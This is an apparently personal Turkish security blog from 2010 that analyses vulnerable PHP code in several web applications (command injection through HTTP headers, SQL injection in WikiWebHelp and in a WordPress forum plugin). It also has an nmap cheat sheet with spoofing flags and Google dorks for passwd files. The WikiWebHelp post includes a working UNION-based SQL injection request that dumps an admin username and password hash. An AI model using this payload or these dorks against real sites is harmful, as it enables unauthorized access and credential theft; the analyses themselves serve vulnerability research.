Thursday, July 22, 2010

[Analiz] Yet Another Remote Command Execution

Yine bir Remote Command Execution analizi ile karşındayım blog :) Code Injection yada RCE olarak sınıflandırabilirim sanırım bu zafiyeti. Herneyse kaynak kodu incelemeye başlayayım.


xxxxxxxxxxxx.php
...
$command = 'HTTP_COOKIE="'.getStringFromServer('HTTP_COOKIE').'" '.
'REMOTE_ADDR="'.getStringFromServer('REMOTE_ADDR').'" '.
'QUERY_STRING="'.$query_string.'" '.
'SERVER_SOFTWARE="'.getStringFromServer('SERVER_SOFTWARE').'" '.
'SCRIPT_NAME="'.getStringFromServer('SCRIPT_NAME').'" '.
'HTTP_USER_AGENT="'.getStringFromServer('HTTP_USER_AGENT').'" '.
'HTTP_ACCEPT_ENCODING="'.getStringFromServer('HTTP_ACCEPT_ENCODING').'" '.
'HTTP_ACCEPT_LANGUAGE="'.getStringFromServer('HTTP_ACCEPT_LANGUAGE').'" '.
'PATH_INFO="'.$path.'" '.
'PATH="'.getStringFromServer('PATH').'" '.
'HTTP_HOST="'.getStringFromServer('HTTP_HOST').'" '.
'DOCUMENT_ROOT="'.getStringFromServer('DOCUMENT_ROOT').'" '.
...
passthru($command);
...


getStringFromServer fonksiyonunda herhangi gibi bir filtreleme vs.. yok. Daha da konuşmaya gerek yok zaten :) HTTP başlıklarıyla (örn: Cookie, User-Agent, Accept-Encoding, Accept-Language) hedef üzerinde komut çalıştırabilirsiniz. Exploit? 1-2 güne bir reverse shell hortlatan bir remote exploit yazar yayınlarım herhalde. Az da olsa deneyimlerimden yola çıkarak belirtiyorum ki, web uygulamalarını ve zafiyetlerini hafife almamak gerekir.

cb

[video] Windows .LNK Exploitation w/ Metasploit

Windows .LNK [CVE-2010-2568] Exploitation w/ Metasploit video 

http://vimeo.com/13513973

CVE-2010-2568 malum yeni çıktı taze taze ve bence bu senenin pwnie awards kazanması gereken açıklarından bir tanesi :) Metasploit hemen güncelleme ile exploit için modülü bizlere sunmuş. Bende kısa bir video ile olayı "demonstrate" ettim. İyi seyirler :) 


Umarım vaktim ve şevkim oldukça metasploitle ilgili yeni video'lar hazırlarım.


hoşçakalın :)

Saturday, July 17, 2010

[Analiz] Remote Command Execution

Selamlar günlük,
Yayınlanan advisory [1] için kısa bir analiz yapayım dedim iyide ettim herhalde çok sık yazamıyorum malum vakit ayıramıyorum yada üşeniyorum :) neyse az laf çok iş diyerekten girişiyorum analize çok konuştum yine :]

modules/gnupg/json.php:
...
$data = $gnupg->export($_REQUEST['fingerprint']);
...


Görüldüğü üzere export methodu parametre olarak 'fingerprint' isimli HTTP isteğiyle birlikte çağırılıyor. Birde export methoduna göz atalım. Açıkca söyleyeyim bu zafiyeti bulmam 4 yada 5 dakika mı aldı tabi yayınlamak daha uzun sürdü, biraz üşengeçlik biraz vendor'u bekleme vs... gerçi vendor geri dönmedi o da ayrı bir meselede :))

Thursday, July 8, 2010

[Analiz] WikiWebHelp SQLi Vuln

Selamlar blogum ve varsa eğer okuyucularım :] geçen gün ki advisory'nin basit bir analizini yapayım dedim hemde blog boş durmasın :)) getpage.php dosyasında id parametresi olduğu gibi SQL koduna dahil ediliyor herşey bundan ibaret :))

handlers/getpage.php
---[snip]---
4 if($page==null) $page = $_GET['id'];
5
6 $sql = "SELECT * FROM page INNER JOIN node ON node.node_id=page.node_id WHERE node.node_id=$page";
---[snip]---


# PoC:
Request: http://server/handlers/getpage.php?id=9999999+UNION+SELECT+1,CONCAT_WS(0x3a,user_name,password),3,4,5,6,7
+FROM+user+LIMIT+1

Response: admin:21232f297a57a5a743894a0e4a801fc3

Daha "hardcoded" exploit'ler ve vulnerability'ler bulurumda buraya yazarım umarım :}

ciao..

Monday, July 5, 2010

[Analiz] Simple:Press WP Plugin SQL Inj.

Advisory'e buradan [1] ulaşabilirsiniz.
sf-header-forum.php
---[snip]---
...
389 if(isset($_GET['value']) ? $sfvars['searchvalue'] = stripslashes(urldecode($_GET['value'])) : $sfvars['searchvalue'] = '');
...
---[snip]---

Global değişkenler kullanılmış ve ataması yapılırken $sfvars['searchvalue'] değeri kontrol edilmeden atanmış. Daha sonra bu global değişken birazdan göstereceğim şekilde sql sorgularının içinde kullanılmış. ve öldürücü nokta; "no single qoutes" :)

Global değişkenler kullanmak aslında riskli bir durum. Çünkü örnekteki gibi biryerde atamasını yaptığınız zaman kullanırken nerde ne ataması yaptığınızı unutup kullanabiliyorsunuz. Bu tamamen güvenlikte insan faktörüyle ilgili birşey. İnsan unutabilir, insan kusursuz değil.

sf-database.php
---[snip]---
...
401 $searchvalue=urldecode($sfvars['searchvalue']);
...
404 if($sfvars['searchtype'] == 6)
...
409 $ANDWHERE = " AND topic_status_flag=".$sfvars['searchvalue']." ";
410
411 } elseif($sfvars['searchtype'] == 8)
...
414 $userid = $sfvars['searchvalue'];
415 $SELECT = "SELECT SQL_CALC_FOUND_ROWS DISTINCT ";
416 $MATCH = "";
417 $ANDWHERE = " AND ".SFPOSTS.".user_id=".$userid." ";
418
419 } elseif($sfvars['searchtype'] == 9)
...
422 $userid = $sfvars['searchvalue'];
...
425 $ANDWHERE = " AND ".SFTOPICS.".user_id=".$userid." ";
...
---[snip]---

Görüldüğü gibi kalın olarak işaretlenmiş satırlarda değişkenler tek tırnak kullanılmadan sorgulara dahil edilmiş buda zafiyetin ortaya çıkmasına sebep oluyor. Vendor istediği kadar tüm GET, POST vs.. dizilerini filterelesin, tek tırnak faktörü olmadığı zaman hiçbir işe yaramıyor bu çabalar :) benzer bir webERP advisory'sinde de vardı ve vendor ısrarla tüm GET, POST dizilerini filtrelediğini ısrar ediyordu. Noldu? Video çektik yolladık başarıyla exploit ettik hehe :)

[1] http://www.exploit-db.com/exploits/14198/

Thursday, July 1, 2010

Temel nmap komutları

******************************************
Temel nmap kullanımı | cb a.k.a hc0de
******************************************

1) nmap ile tarama teknikleri
{TCP}
-sS: SYN
-sT: Connect()
-sA: ACK
-sW: Window
-sM: Maimon
-sN: NULL
-sF: FIN
-sX: Xmas
{UDP}
-sU: UDP
{HOST Keşfi}
-sP: Ping Tarama

2) nmap ile port aralıkları tarama
-p1-65535


devam için tıklayınız..
3) nmap ile keşif
-sV: Açık portlar üzerinden servis/versiyon keşfi

4) nmap ile OS keşfi
-O parametresiyle

5) nmap ile spoofing
-S IP_ADDR - Kaynak adresi spoof eder
--ttl VAL - IP'nin time-to-live değeri
--spoof-mac

6) nmap ile output logging
-oN: Normal
-oX: XML Formatında
-oG: "grep"lenebilir
-vv: Daha fazla açıklama

7) ortaya karışık
-6: IPv6 tarama
-A: OS, versiyon, script ve traceroute tarama açık tarama
-T: -T<0-5> şeklinde bir kullanımı varmış, ne kadar yüksek bir değer verirseniz o kadar hızlı tararmış (manuel öyle söyledi)

Yeni bir teknik BSQLi Optimizasyonu

MySQL üzerinde BSQLi saldırılarının nasıl daha az istek ile sonuca ulaşabileceği üzerine yaptığım araştırmayı dökümante etmiştim, sağolsun OWASP/TR makalemi yayınladı. Buradan okuyabilirsiniz, http://bit.ly/cTD1DP :)

Google Hacking

ext:txt inurl:"robots"

ile robots.txt'ler güzelce bulunuyor. En ilgincide;
ext:txt inurl:"passwd"
lol

Merhaba dünya

Çok klişe bir şekilde ilk blog postumu girmiş bulunmaktayım. Kalın sağlıcakla :}